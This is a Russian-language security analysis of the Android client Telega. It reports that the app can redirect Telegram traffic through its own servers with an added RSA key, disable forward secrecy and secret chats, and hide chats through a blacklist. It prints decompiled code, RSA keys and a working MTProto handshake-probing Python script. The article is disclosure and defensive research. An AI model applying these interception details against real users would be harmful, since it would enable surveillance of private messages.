Утром 18 марта создатели приложения Telega активировали скрытую функциональность, позволяющую им перехватывать все данные между их приложением и сервером Telegram, пропуская их через свои сервера.
К сожалению, информации об этом мало, и поэтому была написана эта статья с подробным, повторяемым анализом данного механизма.
Те, кому не очень интересны технические детали, но хочется узнать о ситуации больше — читайте "TL;DR" в конце каждого параграфа.
Background о шифровании и клиент-серверном протоколе Telegram
Telegram имеет несколько серверов в разных регионах мира — у каждого по одному или несколько IP-адресов и внутри Telegram они называются DC (дата-центры). Например, у DC2 в Амстердаме, к которому относятся все пользователи из России, имеет IP-адрес 149.154.167.51. (источник)
Когда клиент Telegram устанавливает подключение к DC, он генерирует случайные параметры шифрования и передает их в зашифрованном виде с помощью алгоритма RSA — в клиент вшит публичный ключ, которым клиент шифрует данные, а затем сервер, с помощью соответствующего приватного ключа их расшифровывает.
Другими словами, клиент Telegram использует публичный, заранее известный ключ RSA для установления первичного шифрованного соединения с сервером, чтобы сгенерировать и договориться об общем, новом ключе шифрования (для AES). (источник)
TL;DR: в клиент Telegram вшиты IP-адреса серверов мессенджера и ключи шифрования для взаимодействия.
Как Telega вмешивается в это взаимодействие — подмена IP-адресов
Разберем последнюю на данный момент версию клиента Telega для Android (sha256 ca47b6..6d34f0) и распакуем через jadx.
Пишем в поиске по файлам dc-proxy и находим следующие куски кода:
ru/dahl/messenger/dc/DCRestService.java:
public interface DCRestService {
@GET("dc-proxy")
Object getDcConfig(Continuation<? super DcConfig> continuation);
}
ru/dahl/messenger/data/rest/RestClient.java:
public static final String API_URL = "https://api.telega.info/v1/";
Можно сделать вывод, что приложение совершает HTTP GET запрос по ссылке https://api.telega.info/v1/dc-proxy, которая возвращает JSON-объект с параметром { "dc_version": 2 }, а так же массив dcs следующего формата:
{ "dcs": [{ "id": 2, "addresses": [{ "host": "130.49.152.41", "port": 443}] }] }
Где id имеет значение от 1 до 5 (соответствуя номерам DC Telegram), а все IP-адреса находятся в диапазоне 130.49.152.0/24 и принадлежат AS203502 JOINT STOCK COMPANY "TELEGA", которая была зарегистрирована 24 ноября 2025 года.
Интересный факт — единственный апстрим данной AS - AS47764 LLC VK (Mail.ru), и им же принадлежит соседняя подсеть 130.49.224.0/19. Это косвенно указывает на то, что Telega — дочерний проект VK. Непонятно, откуда у маленького стартапа из Казани средства на организацию своего AS и покупку целого /24 блока IP-адресов.
То есть, приложение получает IP-адреса контроллируемых Telega серверов, которые должны заменить адреса настоящих серверов Telegram.
Затем, вызывается метод applyDcVersion() из класса DCAuthHelper.java:
public final Object applyDcVersion(
final int r17, // dcVersion (2)
final java.util.List<ru.dahl.messenger.dc.entity.Datacenter> r18, // адреса серверов Telega
final ru.dahl.messenger.dc.entity.DcOptions r19,
final boolean r20,
kotlin.coroutines.Continuation<? super kotlin.Unit> r21
)
Внутри этого метода, вероятно, идет вызов публичного метода ConnectionsManager.setDcVersion с новыми адресами:
// ConnectionsManager.java:1934-1935
public void setDcVersion(int version, int[] dcIds, String[] addresses,
int[] ports, boolean[] flags, boolean usePfs,
String[] transports) {
native_setDcVersion(this.currentAccount, version, dcIds, addresses,
ports, flags, dcIds.length, usePfs, transports);
}
На это косвенно указывает полу-декомпилированный код в DCAuthHelper.java:379, который проверяет, что значение dcVersion изменилось на нужное:
ConnectionsManager r7 = ConnectionsManager.getInstance(r7);
int r7 = r7.getDcVersion();
int r8 = this.$dcVersion;
if (r7 != r8) { /* not yet */ }
Итого мы получаем примерно такую цепочку вызовов:

Обратите внимание: вызов AuthTokensHelper.clearLogInTokens() при смене режима не удаляет auth_key (ключ шифрования сессии), этим занимается другая функция, мы описали её ниже.
TL;DR: Клиент Telega подменяет IP-адреса серверов Telegram на свои собственные по "команде" с их сервера.
Подмена ключа шифрования RSA
Но без подмены ключа шифрования атака MITM невозможна. Чтобы найти RSA ключ Telega, нужно декомпилировать динамическую библиотеку libtmessages.49.so, которая хранится в этом же APK-файле. Именно эта библиотека реализует методы native_*, используемые в классе ConnectionsManager.
Открываем IDA Pro и скармливаем ей libtmessages.49.so, в данном случае вариант для arm64. Нажимаем Shift+F12, откроется список найденных текстовых строк. Ищем все ключи по заголовку "BEGIN RSA PUBLIC KEY" (Ctrl+F):
Ключ №1 по адресу 0x1576FFC:
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAyr+18Rex2ohtVy8sroGPBwXD3DOoKCSpjDqYoXgCqB7ioln4eDCF
fOBUlfXUEvM/fnKCpF46VkAftlb4VuPDeQSS/ZxZYEGqHaywlroVnXHIjgqoxiAd
192xRGreuXIaUKmkwlM9JID9WS2jUsTpzQ91L8MEPLJ/4zrBwZua8W5fECwCCh2c
9G5IzzBm+otMS/YKwmR1olzRCyEkyAEjXWqBI9Ftv5eG8m0VkBzOG655WIYdyV0H
fDK/NWcvGqa0w/nriMD6mDjKOryamw0OP9QuYgMN0C9xMW9y8SmP4h92OAWodTYg
Y1hZCxdv6cs5UnW9+PWvS+WIbkh+GaWYxwIDAQAB
-----END RSA PUBLIC KEY-----
Ключ №2 по адресу 0x15788E1:
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAum9pZNEIWVt6jQUm/qcP4na0RgWHfSls/TJwxYQTsruNyuVgdrBu
y7gbNcObgnxmjxohwRjkNCOASwfYOD5yZ0UUqlg+iK84cmS8HdSublM/Bvf4huqN
7RZ0GXQ8nGCZQFQ67ZqXS5R/4XNUmoj5kmhHOl7OU4ow3DXdjM3JEmvaVtacGoMW
BT2s1JtTt3bXVJmarBxt3g8yn+lmAs7aCZkVj0cdocHT7jOyPaCtvSC+pGThr7qA
aDEWl2q8Z4fH1hYF3xrm4vxraJq4fFIbuBLceMKfHsI7ahL4KLF/tYNNZzbfaE5s
4Z2HPiEI+78hAdxCWAnQd9Efj2Dbc6OM2wIDAQAB
-----END RSA PUBLIC KEY-----
Ключ №3 по адресу 0x1578A8B:
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAyMEdY1aR+sCR3ZSJrtztKTKqigvO/vBfqACJLZtS7QMgCGXJ6XIR
yy7mx66W0/sOFa7/1mAZtEoIokDP3ShoqF4fVNb6XeqgQfaUHd8wJpDWHcR2OFwv
plUUI1PLTktZ9uW2WE23b+ixNwJjJGwBDJPQEQFBE+vfmH0JP503wr5INS1poWg/
j25sIWeYPHYeOrFp/eXaqhISP6G+q2IeTaWTXpwZj4LzXq5YOpk4bYEQ6mvRq7D1
aHWfYmlEGepfaYR8Q0YqvvhYtMte3ITnuSJs171+GDqpdKcSwHnd6FudwGO4pcCO
j4WcDuXc2CTHgH8gFTNhp/Y8/SpDOhvn9QIDAQAB
-----END RSA PUBLIC KEY-----
Ключ №4 по адресу 0x1578C35:
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA6LszBcC1LGzyr992NzE0ieY+BSaOW622Aa9Bd4ZHLl+TuFQ4lo4g
5nKaMBwK/BIb9xUfg0Q29/2mgIR6Zr9krM7HjuIcCzFvDtr+L0GQjae9H0pRB2OO
62cECs5HKhT5DZ98K33vmWiLowc621dQuwKWSQKjWf50XYFw42h21P2KXUGyp2y/
+aEyZ+uVgLLQbRA1dEjSDZ2iGRy12Mk5gpYc397aYp438fsJoHIgJ2lgMv5h7WY9
t6N/byY9Nw9p21Og3AoXSL2q/2IJ1WRUhebgAdGVMlV1fkuOQoEzR7EdpqtQD9Cs
5+bfo3Nhmcyvk5ftB0WkJ9z6bNZ7yxrP8wIDAQAB
-----END RSA PUBLIC KEY-----
Теперь скачаем последний релиз Telegram для Android с официального сайта (https://telegram.org/dl/android/apk), распакуем APK обычным архиватором, и скормим IDA Pro такую же библиотеку (sha256 5ebcea..0176c9) и сравним ключи.
Оказывается, в оригинальной библиотеке от Telegram есть только 3 из 4 ключей, которые зашиты в клиент Telega:
Адрес ключа в Telega
Адрес ключа в Telegram
SHA-256
0x1576FFC
0x15704DC
76f57758..4583493e
0x15788E1
-
7f7d5bd9..104f3fe1
0x1578A8B
0x1571CAE
2652db36..10beb77f
0x1578C35
0x1571E58
abaec5de..041348db
Хэш ключа генерировался следующей командой: openssl rsa -in pub.pem -pubin -outform DER 2>/dev/null | openssl dgst -sha256
В итоге выходит, что в Telega был добавлен ключ №2 по адресу 0x15788E1. Чтобы долго не копаться в сурсах библиотеки, устроим простой тест — попробуем установить соединение с сервером DC 2 от Telega и сервером DC 2 от Telegram, используя ключ, добавленный создателями Telega.
Попросим Claude Opus написать скрипт, который попытается инициировать первичное рукопожатие с сервером MTProto, непосредственно скрипт:
Код тут. Можно попросить любой ИИ объяснить, как он работает.#!/usr/bin/env python3
"""
Test whether an MTProto server holds the private key for a given RSA
public key by attempting req_pq → req_DH_params.
server_DH_params_ok → server holds the private key (MATCH)
-404 transport error → server does NOT hold it (MISMATCH)
No pip dependencies. Uses system libcrypto via ctypes for AES-IGE.
Usage:
python3 mtproto_handshake_test.py # Telegram DC2
python3 mtproto_handshake_test.py 1.2.3.4 # custom server
python3 mtproto_handshake_test.py 1.2.3.4 2 # custom server + DC ID
"""
import socket, struct, hashlib, base64, os, sys, time, math
import ctypes, ctypes.util
# ═══════════════════════════════════════════════════════════════════════
# CONFIG — edit these to test different keys / servers
# ═══════════════════════════════════════════════════════════════════════
# Key injected by Telega (fingerprint 0x2c945714333b5ebd)
RSA_PUBLIC_KEY_PEM = """\
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAum9pZNEIWVt6jQUm/qcP4na0RgWHfSls/TJwxYQTsruNyuVgdrBu
y7gbNcObgnxmjxohwRjkNCOASwfYOD5yZ0UUqlg+iK84cmS8HdSublM/Bvf4huqN
7RZ0GXQ8nGCZQFQ67ZqXS5R/4XNUmoj5kmhHOl7OU4ow3DXdjM3JEmvaVtacGoMW
BT2s1JtTt3bXVJmarBxt3g8yn+lmAs7aCZkVj0cdocHT7jOyPaCtvSC+pGThr7qA
aDEWl2q8Z4fH1hYF3xrm4vxraJq4fFIbuBLceMKfHsI7ahL4KLF/tYNNZzbfaE5s
4Z2HPiEI+78hAdxCWAnQd9Efj2Dbc6OM2wIDAQAB
-----END RSA PUBLIC KEY-----"""
DEFAULT_HOST = "149.154.167.50"
DEFAULT_PORT = 443
DC_ID = 2
# ═══════════════════════════════════════════════════════════════════════
# AES-256-IGE via system libcrypto
# ═══════════════════════════════════════════════════════════════════════
def _load_libcrypto():
for path in [
ctypes.util.find_library("crypto"),
"/opt/homebrew/opt/openssl/lib/libcrypto.dylib",
"/usr/local/opt/openssl/lib/libcrypto.dylib",
"/usr/lib/x86_64-linux-gnu/libcrypto.so",
"/usr/lib/libcrypto.so",
]:
if path and os.path.exists(path):
return ctypes.CDLL(path)
raise RuntimeError("Cannot find libcrypto")
_lc = _load_libcrypto()
def aes_ige_encrypt(plaintext, key, iv):
"""
AES-256-IGE encryption.
IGE: c_i = E(p_i XOR c_{i-1}) XOR p_{i-1}
where c_0 = iv[:16], p_0 = iv[16:32].
"""
assert len(plaintext) % 16 == 0 and len(key) == 32 and len(iv) == 32
aes_key = ctypes.create_string_buffer(256)
_lc.AES_set_encrypt_key(key, 256, aes_key)
out = ctypes.create_string_buffer(16)
c_prev, p_prev = bytearray(iv[:16]), bytearray(iv[16:])
result = bytearray()
for i in range(0, len(plaintext), 16):
p_i = plaintext[i:i+16]
_lc.AES_ecb_encrypt(bytes(a ^ b for a, b in zip(p_i, c_prev)), out, aes_key, 1)
c_i = bytes(a ^ b for a, b in zip(out.raw, p_prev))
result.extend(c_i)
c_prev, p_prev = bytearray(c_i), bytearray(p_i)
return bytes(result)
# ═══════════════════════════════════════════════════════════════════════
# Helpers: PEM parsing, TL serialization, fingerprint, factorization
# ═══════════════════════════════════════════════════════════════════════
def parse_pem(pem):
"""Parse PKCS#1 RSA PUBLIC KEY PEM → (n_int, e_int, n_bytes, e_bytes)"""
b64 = "".join(l for l in pem.strip().splitlines() if not l.startswith("-----"))
b64 += "=" * ((4 - len(b64) % 4) % 4)
der = base64.b64decode(b64)
def read_len(d, o):
if d[o] < 128: return d[o], o + 1
nb = d[o] & 0x7f
return int.from_bytes(d[o+1:o+1+nb], "big"), o + 1 + nb
def read_int(d, o):
assert d[o] == 0x02
l, o = read_len(d, o + 1)
raw = d[o:o+l]
# strip ASN.1 sign-padding
if raw[0] == 0 and len(raw) > 1: raw = raw[1:]
return raw, o + l
_, o = read_len(der, 1) # skip SEQUENCE header
n_bytes, o = read_int(der, o)
e_bytes, _ = read_int(der, o)
return int.from_bytes(n_bytes, "big"), int.from_bytes(e_bytes, "big"), n_bytes, e_bytes
def tl_bytes(data):
"""TL string serialization: length-prefixed, 4-byte aligned."""
n = len(data)
r = (bytes([n]) + data) if n < 254 else (bytes([254]) + n.to_bytes(3, "little") + data)
return r + b"\x00" * ((4 - len(r) % 4) % 4)
def fingerprint(n_bytes, e_bytes):
"""MTProto RSA fingerprint = last 8 bytes of SHA1(tl(n) + tl(e)), LE uint64."""
return struct.unpack_from("<Q", hashlib.sha1(tl_bytes(n_bytes) + tl_bytes(e_bytes)).digest(), 12)[0]
def factorize(pq):
"""Pollard's rho factorization → (p, q) with p < q."""
if pq % 2 == 0: return 2, pq // 2
x, y, d, c = 2, 2, 1, 1
while d == 1:
x = (x * x + c) % pq
y = (y * y + c) % pq; y = (y * y + c) % pq
d = math.gcd(abs(x - y), pq)
if d == pq: c += 1; x, y, d = 2, 2, 1
p, q = sorted([d, pq // d])
assert p * q == pq
return p, q
# ═══════════════════════════════════════════════════════════════════════
# RSA_PAD — current Telegram OAEP+ variant
# https://core.telegram.org/mtproto/auth_key#presenting-proof-of-work-server-authentication
#
# data_with_padding = data + random → 192 bytes
# data_pad_reversed = BYTE_REVERSE(above)
# temp_key = random 32 bytes
# data_with_hash = reversed + SHA256(temp_key + padded) → 224 bytes
# aes_encrypted = AES256_IGE(data_with_hash, temp_key, iv=0)
# temp_key_xor = temp_key XOR SHA256(aes_encrypted)
# key_aes_encrypted = temp_key_xor + aes_encrypted → 256 bytes
# if key_aes_encrypted >= n: retry
# encrypted_data = pow(key_aes_encrypted, e, n) → 256 bytes
# ═══════════════════════════════════════════════════════════════════════
def rsa_pad_encrypt(data, n, e):
assert len(data) <= 144
while True:
padded = data + os.urandom(192 - len(data))
temp_key = os.urandom(32)
data_with_hash = padded[::-1] + hashlib.sha256(temp_key + padded).digest()
aes_enc = aes_ige_encrypt(data_with_hash, temp_key, b"\x00" * 32)
tk_xor = bytes(a ^ b for a, b in zip(temp_key, hashlib.sha256(aes_enc).digest()))
combined = tk_xor + aes_enc # 256 bytes
val = int.from_bytes(combined, "big")
if val < n:
return pow(val, e, n).to_bytes(256, "big")
# ═══════════════════════════════════════════════════════════════════════
# TCP Intermediate transport + unencrypted MTProto framing
# ═══════════════════════════════════════════════════════════════════════
def recv_exact(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk: raise ConnectionError("Connection closed")
buf += chunk
return buf
def send_frame(sock, data):
sock.sendall(struct.pack("<I", len(data)) + data)
def recv_frame(sock):
return recv_exact(sock, struct.unpack("<I", recv_exact(sock, 4))[0])
def wrap_unencrypted(body):
"""Wrap TL body in unencrypted MTProto message (auth_key_id=0)."""
msg_id = int(time.time() * 2**32) & ~3
return struct.pack("<qqi", 0, msg_id, len(body)) + body
def unwrap_unencrypted(data):
"""Strip 20-byte unencrypted MTProto header, return TL body."""
return data[20 : 20 + struct.unpack_from("<i", data, 16)[0]]
# ═══════════════════════════════════════════════════════════════════════
# Handshake
# ═══════════════════════════════════════════════════════════════════════
def test_handshake(host, port, dc_id, pem):
n, e, n_raw, e_raw = parse_pem(pem)
fp = fingerprint(n_raw, e_raw)
print(f"Key fingerprint: 0x{fp:016x} ({n.bit_length()}-bit)")
print(f"Server: {host}:{port} (DC {dc_id})")
print()
sock = socket.create_connection((host, port), timeout=15)
sock.sendall(b"\xee\xee\xee\xee") # TCP Intermediate magic
try:
# ── req_pq_multi ──────────────────────────────────────────
nonce = os.urandom(16)
send_frame(sock, wrap_unencrypted(struct.pack("<I", 0xBE7E8EF1) + nonce))
body = unwrap_unencrypted(recv_frame(sock))
assert struct.unpack_from("<I", body)[0] == 0x05162463 # resPQ
o = 4
assert body[o:o+16] == nonce; o += 16
server_nonce = body[o:o+16]; o += 16
pq_len = body[o]; o += 1
pq_raw = body[o:o+pq_len]; o += pq_len; o += (4 - o % 4) % 4
o += 4 # Vector constructor
fp_count = struct.unpack_from("<i", body, o)[0]; o += 4
server_fps = [struct.unpack_from("<Q", body, o + i*8)[0] for i in range(fp_count)]
pq_int = int.from_bytes(pq_raw, "big")
print(f"Server fingerprints: {[f'0x{f:016x}' for f in server_fps]}")
print(f"Our fingerprint in list: {fp in server_fps}")
# ── Factor pq ────────────────────────────────────────────
p, q = factorize(pq_int)
p_raw = p.to_bytes((p.bit_length() + 7) // 8, "big")
q_raw = q.to_bytes((q.bit_length() + 7) // 8, "big")
# ── Build p_q_inner_data_dc#a9f55f95 ─────────────────────
inner = (
struct.pack("<I", 0xA9F55F95)
+ tl_bytes(pq_raw) + tl_bytes(p_raw) + tl_bytes(q_raw)
+ nonce + server_nonce + os.urandom(32) # new_nonce
+ struct.pack("<i", dc_id)
)
# ── RSA_PAD encrypt + send req_DH_params#d712e4be ────────
encrypted = rsa_pad_encrypt(inner, n, e)
req = (
struct.pack("<I", 0xD712E4BE)
+ nonce + server_nonce
+ tl_bytes(p_raw) + tl_bytes(q_raw)
+ struct.pack("<Q", fp)
+ tl_bytes(encrypted)
)
send_frame(sock, wrap_unencrypted(req))
# ── Read response ────────────────────────────────────────
resp = recv_frame(sock)
finally:
sock.close()
# Transport-level error (4 bytes) = server rejected the handshake
if len(resp) == 4:
err = struct.unpack("<i", resp)[0]
print()
print(f"RESULT: transport error {err}")
if err == -404:
print("The server could not decrypt our payload.")
print("⇒ Server does NOT hold the private key for this RSA key.")
return False
# TL-level response
body = unwrap_unencrypted(resp)
cid = struct.unpack_from("<I", body)[0]
print()
if cid == 0xD0E8075C: # server_DH_params_ok
print("RESULT: server_DH_params_ok")
print("The server successfully decrypted our payload.")
print("⇒ Server HOLDS the private key for this RSA key.")
return True
elif cid == 0x79CB045D: # server_DH_params_fail
print("RESULT: server_DH_params_fail")
print("⇒ Server does NOT hold the private key for this RSA key.")
return False
else:
print(f"RESULT: unexpected response 0x{cid:08x}")
return False
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
dc_id = int(sys.argv[2]) if len(sys.argv) > 2 else DC_ID
try:
ok = test_handshake(host, 443, dc_id, RSA_PUBLIC_KEY_PEM)
except Exception as ex:
print(f"\nERROR: {ex}")
import traceback; traceback.print_exc()
sys.exit(2)
sys.exit(0 if ok else 1)
Запустим этот скрипт сначала с адресом официального DC2 Telegram:
$ python3 mtproto_handshake_test.py 149.154.167.50
Key fingerprint: 0x2c945714333b5ebd (2048-bit)
Server: 149.154.167.50:443 (DC 2)
Server fingerprints: ['0xd09d1d85de64fd85', '0x0bc35f3509f7b7a5', '0xc3b42b026ce86b21']
Our fingerprint in list: False
RESULT: transport error -404
The server could not decrypt our payload.
⇒ Server does NOT hold the private key for this RSA key.
Скрипт сообщает, что сервер Telegram предлагает свои ключи, к которым ключ Telega не относится. При попытке установить соединение сервер отправляет ошибку транспорта -404, так как не может дешифровать наш запрос, зашифрованный неизвестный ему ключом.
Теперь то же самое, только с сервером DC2 Telega:
$ python3 mtproto_handshake_test.py 130.49.152.41
Key fingerprint: 0x2c945714333b5ebd (2048-bit)
Server: 130.49.152.41:443 (DC 2)
Server fingerprints: ['0x2c945714333b5ebd']
Our fingerprint in list: True
RESULT: server_DH_params_ok
The server successfully decrypted our payload.
⇒ Server HOLDS the private key for this RSA key.
Сервер Telega предложил нам этот же ключ и успешно завершил рукопожатие.
TL;DR: В Telega добавлен дополнительный, четвертый публичный ключ RSA, который не принимает сервер Telegram, но принимает сервер Telega.
Что дает подмена сервера и ключа шифрования?
Как было описано в начале статьи, шифрование RSA между клиентом и сервером Telegram используется при рукопожатии (handshake) для генерации нового ключа шифрования, с помощью которого затем шифруется весь трафик.
Из-за того, что рукопожатие проводится один раз при первичном установлении соединения клиента и сервера (например, если пользователь только что установил себе клиент Telegram и еще даже не вошел в аккаунт), в Telega был встроен еще один механизм — по команде с сервера Telega клиент может инициировать выход из аккаунта, стирая все данные о связи с сервером, включая общий ключ шифрования.
Метод DCEventHandler.performSoftLogoutForAllAccounts:
public final void performSoftLogoutForAllAccounts() {
try {
int maxAccountCount = getBridge().getMaxAccountCount();
for (int i = 0; i < maxAccountCount; i++) {
if (getBridge().isClientActivated(i)) {
getBridge().logout(i);
}
}
Napier.d$default(Napier.INSTANCE, "DC Event: soft logout completed for all accounts", null, null, 6, null);
} catch (Exception e) {
Napier.e$default(Napier.INSTANCE, "DC Event: error during soft logout", e, null, 4, null);
}
}
Метод TelegramBridge.logout:
public void logout(int i) {
clearDismissedPromos();
UserConfig.getInstance(i).clearConfig(); // удаляет сессию и ключ шифрования (auth_key)
MessagesController.getInstance(i).performLogout(0); // отправляет серверу сигнал о выходе из аккаунта
ConnectionsManager.getInstance(i).cleanup(true); // убивает все соединения
}
Данный механизм вызывается несколькими способами:
Скрытым push-уведомлением от сервера Telega c полями
type=dc_update_versionиforce_relogin=true(См. классTelegaPushHandler)Скрытым push-уведомлением от сервера Telega c полями
type=dc_force_switchиforce_reconnect=true(См. классTelegaPushHandler)При переходе по ссылке
tg://dc_event?force_relogin=trueилиtg://dc_event?force_reconnect=true(См. классDCDeepLinkHandler)Промо-баннер с предложением о "миграции" (См. классы
PromoRestClient,DahlBannerCell,DCMigrationHelper)
Последний механизм показывает пользователю промо-баннер со следующим текстом:
Перезайдите в приложение, чтобы ускорить соединение
Мы переходим на выделенные серверы для максимальной скорости и стабильности звонков, чатов и загрузки медиа. Вам нужно только перезайти в свой аккаунт.
Мы не знаем, показывался ли данный баннер при активации MITM 18 марта, но по данному сообщению видно, что Telega ведёт себя как обычное вредоносное ПО — предлагает пользователю скорость и стабильность, а под капотом ворует данные от их аккаунтов Telegram и устанавливает постоянную "прослушку".
Так как Telega со своим dc-proxy контроллирует хэндшейк, это означает, что они могут провести классическую атаку MITM (Man-in-the-middle, "человек посередине") — договориться с клиентом об одном ключе шифрования, а с настоящим сервером Telegram о другом ключе шифрования, и, будучи посередине между клиентом и сервером, просматривать, сохранять и модифицировать весь трафик.
Схема MITM-атаки TelegaTL;DR: Telega может, без вашего ведома
Читать все входящие и исходящие сообщения в любом чате;
Просматривать всю историю сообщений в любом чате;
Подменять контент сообщений — например, блокировать неугодные каналы по причине "нарушения правил Telegram" (не Telega!);
Хранить все ваши данные и действия в Telegram и передавать их третьим лицам — особенно правоохранительным органам;
Выполнять абсолютно любые действия с вашим аккаунтом без вашего участия.
Отключение Perfect Forward Secrecy
PFS (Perfect Forward Secrecy — «совершенная прямая секретность») — это механизм защиты, который гарантирует: даже если кто-то однажды получит ваш ключ шифрования, он не сможет прочитать старые переписки.
В MTProto это реализовано так: вместо использования "долгосрочного", не меняющегося ключа auth_key, клиент и сервер генерируют временный ключ шифрования temp_auth_key примерно раз в 1-2 суток и шифруют весь трафик с помощью него.
В официальных клиентах Telegram флаг об использовании этой опции захардкожен в значение true во время сборки и не может быть изменён.
На контрасте, в приложении Telega этот флаг по умолчанию выключен, а его состояние контроллируется сервером Telega через тот же самый эндпоинт /dc-proxy.
Тот же метод https://api.telega.info/v1/dc-proxy имеет объект options, который может контролировать это (сейчас он пустой), но по умолчанию, если параметр use_pfs отсутствует, PFS выключен.
На это указывает флаг DcConfig.options.use_pfs (Boolean?, JSON: "use_pfs"), далее он используется в методе DCRepository.handleDcConfig():
DcOptions options = dcConfig.getOptions();
boolean usePfs = false; // ← выключено по умолчанию
if (options != null && options.getUsePfs() != null) {
usePfs = options.getUsePfs().booleanValue();
}
Затем в методе DCAuthHelper.applyDcVersion():
boolean usePfs = dcOptions != null ? dcOptions.getUsePfs() : false;
ConnectionsManager.setDcVersion(
dcVersion=2,
dcIds, hosts, ports, ipv6,
usePfs, // ← переключатель PFS
transports
);
Метод ConnectionsManager.setDcVersion затем передает этот флаг в нативный метод native_setDcVersion.
TL;DR: В Telega по умолчанию отключена дополнительная защита Telegram от перехвата сообщений и ключей шифрования.
Отключение секретных чатов
Секретные чаты в Telegram представляют из себя чаты с End-to-End шифрованием, что позволяет даже серверу не знать содержимого сообщений. Ключи для секретных чатов никогда не покидают устройство.
Telega получает Remote Config через Firebase каждый час и обрабатывает в классе FeatureManager. Текущий Remote Config с сервера сейчас выглядит так — секретные чаты выключены флагом enable_sc = false :
{
"entries": {
"ads_control": "true",
"autosubscribe_channel": "true",
"chat_invite_friend_modal": "false",
"chat_invite_sticky_banner": "false",
"connection_no_vpn_mode": "true",
"connection_settings": "true",
"connection_stable_calls": "true",
"contact_list_invite_friend": "true",
"dialogs_invite_friend_button": "false",
"enable_sc": "false",
"group_video_calls": "false",
"invite_friend": "false",
"moderation_enabled": "false",
"p2p_video_calls": "true",
"parental_control_core": "true",
"parental_control_menu_item": "false",
"profile_invite_friend_item": "true",
"settings_invite_friend_item": "true",
"sidemenu_invite_friend": "true",
"telega_calls": "true",
"telega_group_calls_attach": "false",
"telega_group_calls_chat": "false",
"telega_p2p_calls": "true",
"telega_wall": "true",
"telegram_call_fallback": "false",
"waitlist": "none",
"waitlist_enabled": "true"
},
"state": "UPDATE",
"templateVersion": "472"
}
Флаг enable_sc обрабатывается классом FeatureManager и он используется в логике обработки секретных чатов в следующих местах:
Метод SecretChatHelper.acceptSecretChat:
public void acceptSecretChat(final TLRPC.EncryptedChat encryptedChat) {
if (this.acceptingChats.get(encryptedChat.id) == null && FeatureManager.currentInstance().isSCEnabled()) {
// логика "принятия" запроса на начало секретного чата
}
}
Так как FeatureManager.currentInstance().isSCEnabled() возвращает false, входящие секретные чаты тихо игнорируются клиентом Telega и пользователь об этом не узнает.
Помимо этого, Telega скрывает кнопку "Начать секретный чат" и игнорирует deep link ссылки на секретные чаты.
TL;DR: Telega может отключать секретные (end-to-end encrypted) чаты по команде со своего сервера — при этом по умолчанию они уже отключены. Обычный пользователь даже не узнает, если кто-то попытается написать ему в секретном чате.
Cистема "модерации"
Telega может влиять на контент внутри приложения даже без использования MITM-атаки, описанной выше. Внутри приложения есть функциональность "чёрных списков", которые работают отдельно от похожих механизмов в Telegram, и позволяет запретить пользователям Telega открывать определённые каналы, переписки с чат-ботами и даже личные сообщения с определёнными пользователями.
Раннее создатели Telega объяснили эту функциональность "родительским контролем" (якобы, родитель может запретить ребёнку открывать то, что запрещено), но просмотр исходного кода показывает, что "чёрные списки" существуют отдельно и применяются глобально для всех пользователей.
Как это работает:
Настройка для каждого пользователя
blacklist_filter_enabled(ключ JSON вTelegaUserConfig, полученный из собственного API настроек Telega, по умолчанию:false)При включении каждое открытие чата/профиля/истории вызывает:
POST https://api.telega.info/v1/api/blacklist/filter Body: { "targets": [{ "type": "user|channel|chat|bot", "id": 123456 }] } Response: { "blacklisted": [{ "type": "user", "id": 123456 }] }Если цель в черном списке → отображается
BlacklistedOverlay, контент полностью скрытРезультаты кэшируются локально в
moderation_listSharedPreferences
При этом в BlacklistedOverlay отображается следующий текст:
Материалы недоступны
Этот [чат/канал/бот] недоступен в связи с нарушениями правил платформы
создавая у пользователя впечатление, что контент был заблокирован администрацией Telegram (платформы), а не жуликами-админами Telega (всего лишь безобидный клиент от маленького стартапа из Казани).
Где конкретно применяется эта логика:
Местоположение
Эффект
ChatActivity.checkIsBlacklisted
блокирует открытие чата
ProfileActivity.checkIsBlacklisted
блокирует просмотр профиля
PeerStoriesView.checkIsBlacklisted
блокирует просмотр историй
Ключевые классы:
ru.dahl.messenger.data.rest.ModerationService
→ Делает запрос HTTPPOST api/blacklist/filterru.dahl.messenger.data.repository.ModerationRepository
→ Локальный кэш + логика удаленной проверкиru.dahl.messenger.data.entity.BlacklistRequestObject
→ Формирует объект запроса{ targets: [{ type, id }] }ru.dahl.messenger.data.entity.BlacklistResponseObject
→ Обрабатывает объект ответа{ blacklisted: [{ type, id }] }ru.dahl.messenger.data.entity.TargetType
→ Перечисление:USER,CHANNEL,CHAT,BOTru.dahl.messenger.data.entity.TelegaUserConfig
→ Конфигурация для каждого пользователя сblacklistFilterEnabledru.dahl.messenger.ui.components.BlacklistedOverlay
→ Наложение UI экрана блокировки
TL;DR: Telega может удаленно скрывать любого пользователя, канал, чат или бота от всех пользователей Telega и создавать впечатление, что он заблокирован для всех администрацией Telegram.
NEW: Тестовые стенды панели модерации Telega
В тот же день, когда MITM был включён, при помощи сервисов по типу Censys пользователями были обнаружены демо-стенды различных панелей, использующихся командой Telega. Доступ был быстро закрыт, поэтому забэкапить удалось не всё.
Мы не уверены в том, что данные инструменты используются в продакшене, поскольку их качество оставляет сомнения — видно, что использовались нейросети. Возможно, это просто быстрые прототипы того, что можно сделать.
Демо-панель Zeus
Данный сервис находился на следующем поддомене: demo[.]stage.telega[.]info (Web Archive, Зеркало) и является демо-версией панели Zeus — платформы модерации контента. Позиционируется как «прототип процесса обработки обращений и модерации контента». Все данные на стенде являются примерами для показа возможностей инструмента.
Роли и доступ
Панель поддерживает ролевую модель с тремя уровнями:
moderator — обработка тикетов, блокировка ресурсов
lead — назначение исполнителей, подтверждение блокировок крупных каналов
observer — только просмотр
Проекты (категории обращений)
Тикеты распределены по трём проектам, каждый со своим SLA:
Проект
Описание
Пример тикетов
РЕЕСТР
Запросы от РКН на ограничение каналов, групп, ботов
«РКН: ограничение канала Metro News», «Блокировка бота с агрессивными автоплатежами»
Персональные данные
Запросы по персональным данным пользователей
«Запрос по персональным данным пользователя», «Проверка жалобы на профиль»
Контент-риски
Медиаконтент, текстовые посты, дезинформация
